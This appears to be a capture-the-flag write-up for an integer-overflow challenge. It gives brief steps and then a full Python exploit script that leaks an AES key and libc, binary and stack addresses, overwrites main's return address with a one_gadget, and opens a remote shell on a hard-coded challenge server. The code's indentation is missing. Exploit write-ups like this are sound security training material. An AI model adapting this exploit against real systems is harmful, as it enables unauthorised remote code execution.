The bug is interger overflow, so we can write everywhere.
- To leak the key, overwrite the key then leak 1 by 1 byte.
- After leak the key we leak the libc and binary address at 0x202360 and 0x202000.
- then we leak stack by _argvs variable in mmap section.
- We need to overwrite one_gadget to return address which is saved in stack. But we only have 32 times to write, so we should overwrite variable i(of the for loop in main function) to negative number, then we can write more than 32.
- Bruteforce to write 1 by 1 byte to overwrite one_gadget to return address of main function.
- overwrite i to big number, then exit and get the shell.
import time
import socket
from struct import pack,unpack
import telnetlib
from ctypes import *
global s,bit
def p64(m):
return pack("<Q", m)
def u64(m):
return unpack("<Q", m)[0]
def u32(m):
return unpack("<I", m)[0]
def sock(HOST, PORT,bits,debug=True):
global s,bit
bit=bits
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect( (HOST, PORT) )
if debug: print "[+] Connected to server"
return s
def telnet():
t = telnetlib.Telnet()
t.sock = s
t.interact()
from Crypto.Cipher import AES
def decrypt(cipher):
key="25b41567c23f35b46a0bc3e80eb26fa2".decode("hex")
iv = "\x00"*16
aes = AES.new(key, AES.MODE_CBC, iv)
data = aes.decrypt(cipher)
return data
def send(m, debug = False):
s.sendall(m)
def recvu(str,debug=0, substr = ""):
recv=''
tm = time.time()
while not str in recv:
if substr != "":
if substr in recv:
return recv
if time.time() - tm > 1:
print "timeout"
doexploit()
tmp = s.recv(4096)
recv += tmp
if debug:
print repr(tmp)
continue
return recv
def getx(offset, size):
send(str(offset)+"\n")
recvu("size:")
send(str(size)+"\n")
data = recvu("offset:")
return data[0:size]
def doexploit():
# sock("localhost",4000,64)
sock("3.113.219.89",31337,64)
recvu("offset:")
x = c_uint64(0x202360-0x2023A0)
data = getx(x.value, 16)
libc = u64(decrypt(data)[0:8]) - 0x3ec680
print "libc",hex(libc)
stack_p = libc + 0x3f04c0
t = c_uint64(0x202000 - 0x2023A0)
data = getx(t.value, 16)
text = u64(decrypt(data)[8:16]) - 0x202008
print "text", hex(text)
buff_addr = text+0x2023A0
s = c_uint64(stack_p - buff_addr)
data = getx(s.value, 16)
stack = u64(decrypt(data)[0:8])+0x10
print hex(stack)
raw_input(1)
overwrite_i = stack - 0x120
print "write to", hex(overwrite_i)
i = c_uint64(overwrite_i - buff_addr)
data = getx(i.value, 8)
one_gadget = 0x4f2c5 + libc
print "one_gadget:",hex(one_gadget)
gg = p64(one_gadget)
ret_addr = stack - 0xf0
print "return address:",hex(ret_addr)
for j in range(8):
print "FIND: ",j , gg[j].encode("hex")
while 1:
r = ret_addr- buff_addr+j
data = getx(r,8)
print "find :",data[0].encode("hex")
if data[0] == gg[j]:
print "found offset[%d] = "%j,data[0].encode("hex")
break
raw_input("ready for shell")
print i.value
data = getx(i.value, 15)
print data.encode("hex")
x = u64(data)
x = c_int32(x).value
print hex(x)
telnet()
doexploit()